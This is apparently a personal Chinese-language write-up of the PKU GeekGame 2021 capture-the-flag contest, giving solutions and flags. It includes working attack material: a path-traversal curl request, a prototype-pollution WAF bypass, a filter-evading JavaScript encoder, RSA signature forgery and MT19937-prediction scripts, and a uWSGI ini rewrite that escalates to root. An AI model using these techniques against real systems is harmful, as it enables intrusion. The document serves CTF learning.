无条件公开
https://github.com/PKU-GeekGame/geekgame-1st
Chrome 复制,栅栏参数 2,Okular 会复制不全
flag{Have_A_Great_Time@GeekGame_v1!}
我超,这个刚开始忘记写了,因为题目很方便地有自动保存答案记录系统
zsteg extract b1,rgb,lsb,xy
有藏图片,扫码得 Gur frperh va uvfgbtenz.
=> The secret in histgram
查看该二维码的直方图,扫描该条码,得出 xmcp.ltd/KCwBa
你还记得高中的时候吗?那时在市里的重点中学,我们是同桌。我以前还怪讨人嫌的,老是惹你生气,然后你就不和我说话,我就死乞白赖地求你,或者讲笑话逗你。
不过,你笑起来好可爱,从小就好可爱。此后的一切,也都是从那个笑容开始的吧。
真的,好想回到那个时候啊。
访问链接,除了文字,得出一段申必 Ook 字符串,原来是一种程序码,在线执行之即有 flag{y0u_h4ve_f0rgott3n_7oo_much}
查看 ID3 元数据:
USLT (这个字段就是放歌词文本的):
空无一人的房间
我望向窗外
想回到昨天
琥珀色的风
能否将 回忆传到那边
闪烁的星
照亮夜空 连成我的思念
你 在梦的另一边
站在 日落的地平线
背离这世界而去
想 在回不去的时间里
遇见你 遇见你 遇见你
遇见你 遇见你 遇见你
Comment:
你还记得吗?小时候,我家和你家都在一个大院里。放学以后,我们经常一起在院子里玩。你虽然是个女孩子,但总是能和男孩子们玩到一块去。
夏天的时候我们挖蚯蚓、捉蚂蚱;冬天,院子里的大坡上积了一层雪,我们就坐在纸箱子压成的雪橇上,一次次从坡顶滑到坡底。那个时候你还发现,坐在铁簸箕上滑得更快。
——当然,那次你也摔得挺惨的。
Total Tracks: aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50Ynoy
base64 => http://lab.maxxsoft.net/ctf/legacy.tbz2
$ qemu-system-i386 -hda To_the_past.img
flag{th3_Sun5et_h0r1zon_0815}
And the final password is ItsMeMrLeaf
该 img 里还有文件 MEMORY.ZIP
NOTE.TXT
,然而密文过于申必,尝试了转成数字或者字母都不行(不知道是不是命令行参数出了什么问题,数字应该是对的)
如果下次还能相见,能告诉我在你身上发生了什么吗?
ln -s /flag ./galf
zip --symlinks test.zip galf
flag{NeV3r_trUSt_Any_C0mpResSed_FIle}
是 Jupyter Notebook
提取 Untitled.ipynb 内容,知 flag1 与已知 key 进行 XOR
再提取 flag1.txt 内容,进行 XOR 恢复
看 Jupyter 控制台记录:安装 stegolsb,隐写,7z 创建压缩包
提取 7z 文件,密码为
Wakarimasu! `date` `uname -nom` `nproc`
nproc 在 7z 启动时会说(8 CPUs)
uname 的 hostname 在 PROMPT 里,为 you-kali-vm
我趣,date 输出格式还蛮多的,准确的时间为 1636184655,经过暴力穷举(TZ=Asia/Shanghai, LC_TIME)为 Sat 06 Nov 2021 03:44:15 PM CST
stegolsb wavsteg,参数 n=1 b=76 都写在包里了,十六进制解码后对第一那个 key XOR 即可
打开 Metamask 的 expand view,用控制台执行:
eth.getStorageAt(contract, i) for i = 2, 3
s3 = 0x293edea661635aabcd6deba615ab813a7610c1cfb9efb31ccc5224c0e4b37372
s2 = 0x15eea4b2551f0c96d02a5d62f84cac8112690d68c47b16814e221b8a37d6c4d3
outs = ""
for i in range(64):
v3 = s3 & 0xf
v2 = s2 & 0xf
s3 >>= 4
s2 >>= 4
vout = (v3 - v2 * 7 - i * 5) & 0xf
outs += hex(vout)[-1]
outs = "".join(reversed(outs))
print(bytes.fromhex(outs))
b'\x00\x00\x00\x00\x00flag{N0_S3cReT_ON_EThEreuM}'
$ curl --path-as-is "https://prob11-6fq292hk.geekgame.pku.edu.cn/api/../package.json"
{"name":"demo-server","version":"1.0.0","description":"","scripts":{"start":"node --max-http-header-size=32768 start.js"},"author":"You","license":"WTFPL","dependencies":{"jsonaas-backend":"https://geekgame.pku.edu.cn/static/super-secret-jsonaas-backend-1.0.1.tgz"}}
FLAG0==`flag{${0.1+0.2}}`
有一个方便的 {}.constructor.prototype
不含下划线,但是关键词贝屏蔽
发现 waf 是一个检查字符串的函数,而字符串和列表都有 indexOf,此外
"" + ["123"] === "123"
会将输入的数组变回字符串
api/demo.json?in_path=0/age&out_path[0]=constructor/prototype/activated
进行原型链污染加入 .activated = 24
flag{I-Can-ACtiVate-From-Prototype}
使用 /*_settings/?
替代 /*_settings?
绕过维护。用 FLAG1 打开 eval
写一个类似 JsF*ck 但是可以用数字的编码器
const banned = /[A-Za-z"',;_`]/;
function char(c) {
const recipes = [
["true", "([]+!0)"],
["false", "([]+!1)"],
["[object", "([]+{})"],
["undefined", "([]+[][0])"],
];
for (let [txt, repr] of recipes) {
const i = txt.indexOf(c);
if (i != -1) {
return repr + `[${i}]`;
}
}
throw "Not in dict";
}
function chars(s) {
let codes = "";
for (let c of s) {
if (banned.test(c)) {
codes += char(c) + "+";
} else {
if (codes.endsWith("`+")) {
codes = codes.slice(0, codes.length-2) + c + "`+";
} else {
codes += "`" + c + "`+";
}
}
}
if (codes.endsWith("+")) codes = codes.slice(0, codes.length-1);
return codes;
}
const headers = [
`$9=${chars("constructor")}`,
// function String()
`$8=[]+([]+[])[$9]`,
// toString
`$7=${chars("to")}+$8[9]+$8[10]+$8[11]+$8[12]+$8[13]+$8[14]`,
// Function: Function
`$6=[][${chars("filter")}][$9]`,
// Function: unescape
// Function("return this")()["unescape"]
`$5=$6(${chars("return")}+$8[8]+$8[4]+(17)[$7](36)+${chars("is")})()[`
+`${chars("unesca")}+(25)[$7](36)+${char("e")}]`,
// capital letter C
`$4=$5(\`%43\`)`,
// String.fromCharCode
// String["constructor"]["fromCharCode"]
`$=([]+[])[$9][${chars("fro")}+(22)[$7](36)+$4+(17)[$7](36)+${chars("ar")}+$4+${chars("ode")}]`
];
let header = "";
for (let hi of headers) {
header += "(" + hi + ")&&";
}
function encode(code) {
let enc = "";
for (let c of code) {
if (banned.test(c)) {
enc += "$(" + c.charCodeAt(0) + ")+";
} else {
if (enc.endsWith("`+")) {
enc = enc.slice(0, enc.length-2) + c + "`+";
} else {
enc += "`" + c + "`+";
}
}
}
if (enc.endsWith("+")) enc = enc.slice(0, enc.length-1);
return header + "($6(" + enc + ")())";
}
module.exports = encode;
然后,怎么 require 了不能执行呢,我蒙古
经过计算:
a' = c + k2 + k4 + k8 + k10 + k14 + k16 + k20 + k22 + k26 + k28 == c + K0
b' = d + k3 + k5 + k9 + k11 + k15 + k17 + k21 + k23 + k27 + k29 == d + K1
c' = a + c + k0 + k4 + k6 + k10 + k12 + k16 + k18 + k22 + k24 + k28 + k30 == a + c + K2
d' = b + d + k1 + k5 + k7 + k11 + k13 + k17 + k19 + k23 + k25 + k29 + k31 == b + d + K3
之后
xor = lambda x, y: list(xx ^ yy for xx, yy in zip(x, y))
tov4 = lambda m: [int.from_bytes(m[8*i:8*(i+1)], "big") for i in range(4)]
def kpa(m, c):
m = tov4(m)
c = tov4(c)
K = [c[0] ^ m[2], c[1] ^ m[3], c[2] ^ m[0] ^ m[2], c[3] ^ m[1] ^ m[3]]
return K
def decrypt(c, K):
vc = tov4(c)
c, d, u, v = xor(vc, K)
return u^c, v^d, c, d
def prin(v4):
print(b"".join(long_to_bytes(v) for v in v4))
已知 Sorry, I forget to
那句话和对应的密文,因此可以解密
flag{Fe1SteL_neTw0rk_ne3D_An_OWF}
注意到对于 name | namelen | keybytes | keylen
只是简单地添加了 u16 记录长度,既无分块 $< N$ 也无 pad
考虑构造一巨大数使其与 Alice 模 N 同余,这样服务器就会直接把签名的 Alice 发给我们(不完全一样,后面 0 的个数任意):
def forge(bign, maxl):
"""
head | x | xlen === alice (mod N)
"""
assert maxl < 2048
head = bytes_to_long(packmess(b"A"))
for alen in range(1, 130):
alice = packmess(b"Alice") + packmess(b"\x00" * alen)
alice = bytes_to_long(alice)
if alice >= bign:
break
for xlen in range(1, maxl):
right = (alice - (head << (xlen+2)*8) - xlen) % bign
# invert = lambda a, m: pow(a, -1, m)
x = ((invert(65536, bign) * right) % bign) & ((1<<xlen)-1)
xx = (head << ((xlen+2)*8)) + (x<<16) + xlen
if (xx - alice) % bign == 0:
return xlen, x
因为我们的操作 akey = 0
,产生的 newkey
与 oldkey
完全一样,因此对密文使用第一问的 KPA 即可
flag{RSA_1s_multIplIc4tivE_Hom0MorPHic}
原来是要利用 homomorphic 来做,难怪可以让服务器开 4 个证书给我们
MT19937 随机数预测,进行 78(624÷8)局游戏收集棋盘,恢复 MT19937 的内部状态
稍微实验一下就会发现对于 32 的倍数个 getrandbits,第一个 state output 出现在结果的低位
恢复 624 个 u32 之后就可以预测新的棋盘了,把没有雷的地方统统踩一遍即可完成游戏
#!/usr/bin/env python3
from pwn import *
# https://github.com/tliston/mt19937
from mt19937 import mt19937, untemper
context.log_level = "debug"
#io = process(["python", "-u", "sweeper.py"])
io = remote("prob09.geekgame.pku.edu.cn", 10009)
sla = lambda t, s: io.sendlineafter(t.encode(), s.encode())
rcv = lambda: io.recvline().decode().strip()
states = []
tok = "<token>"
sla("token:", tok)
sla("(y/n)", "n")
while True:
for i in range(16):
sla("> ", f"0 {i}")
if rcv() == "BOOM!":
break
bits = 0
for y in range(16):
row = rcv()
for x, c in enumerate(row):
if c == '*':
bits |= 1 << (16*y+x)
for _ in range(8):
states += [ untemper(bits & 0xFFFFffff) ]
bits >>= 32
sla("(y/n)", "y")
if len(states) == 624:
break
mt = mt19937(0)
mt.MT = states
mt.index = 624
bits = 0
for i in range(8):
bits |= mt.extract_number() << (32 * i)
free = []
for i in range(16):
for j in range(16):
x = (bits >> (i*16+j)) & 1
if x == 0: free += [(i, j)]
for i, j in free:
sla("> ", f"{i} {j}")
io.interactive()
每次有 $\frac12$ 的概率会跳过一个块,需要预测接下来的 8 个数
易知 twist 之后状态数组里的数 M[i] 只和之前的 M[i], M[i+1], M[(i+m)%n] 有关
因此如果碰巧 M[i], M[i+1] 所在的两个块(块指连续8个数)和 M[(i+m)%n] 所在的两个块出现在结果中就可预测随机数
程序每次扫描之前出现的 2×624 个结果,如果最后生成的一个数能被已知数组表示,就用已知数组中对应位置后 8 个项去预测
实际上轮数大约 120 就可以跑出来,这个方法也不算太差
#!/usr/bin/env python3
from pwn import *
from mt19937 import untemper
context.log_level = "debug"
#io = process(["python", "-u", "sweeper.py"])
io = remote("prob09.geekgame.pku.edu.cn", 10009)
sla = lambda t, s: io.sendlineafter(t.encode(), s.encode())
rcv = lambda: io.recvline().decode().strip()
states = []
tok = "<token>"
sla("token:", tok)
def xA(xi, xii):
x = (xi & 0x8000_0000) + (xii & 0x7fff_FFFF)
xa = x >> 1
if x & 1:
xa ^= 0x9908B0DF
return xa
def temper(y):
y = y ^ ((y >> 11) & 0xFFFFffff)
y = y ^ ((y << 7) & 0x9D2C5680)
y = y ^ ((y << 15) & 0xEFC60000)
y = y ^ (y >> 18)
return y
def dword():
dw = 0
for y in range(2):
row = rcv()
for x, c in enumerate(row):
if c == '*':
dw |= 1 << (16*y+x)
dword.last = dw
return dw
# The ancient spirits of light and dark have been released
sla("(y/n)", "y")
count = 0
while True:
count += 1
found = False
if len(states) > 624:
last = untemper(dword.last)
work = states[-2*624:]
for i, x in enumerate(work[:-8]):
cand = xA(x, work[i+1]) ^ last
if cand in work:
j = work.index(cand)
if j < len(work) - 8:
found = True
break
if found:
bits = 0
for ii in range(8):
# note this off by one
bits |= temper(work[j+ii+1] ^ xA(work[i+ii+1], work[i+ii+2])) << (32 * ii)
free = []
for i in range(16):
for j in range(16):
x = (bits >> (i*16+j)) & 1
if x == 0: free += [(i, j)]
die = False
for i, j in free:
sla("> ", f"{i} {j}")
if rcv() == "BOOM!":
die = True
break
if not die:
io.interactive()
else:
for i in range(16):
sla("> ", f"0 {i}")
if rcv() == "BOOM!":
break
for _ in range(8):
states += [ untemper(dword()) ]
if count >= 2000:
print("fail")
exit(0)
sla("(y/n)", "y")
查看聊天记录可以路径穿越读取文件,读取一下 /tmp/uwsgi-ctf.ini
[uwsgi]
socket = :3031
chdir = /usr/src/ufctf
manage-script-name = true
mount = /=app:app
master = true
uid = nobody
gid = nogroup
workers = 2
buffer-size = 65535
enable-threads = true
pidfile = /tmp/uwsgi.pid
读取 /etc/supervisor-ctf.conf
得知 uwsgi 是用 root 运行的,但 app 不是
用 UWSGI RCE 列一下目录(输出到聊天记录文件)发现这文件是 666 的,用 echo ... | base64 -d > /tmp/uwsgi-ctf.ini
改写,删除 uid 与 gid 两行,再用 kill 54 57 58
终止 uwsgi 进程,等待被 supervisord 重启后就有 root 权限了
flag{UwSg1_is_n0t_safE_wheN_sSrf}
Newer: 穿越虚拟混凝土
Older: USTC Hackergame 2021 writeup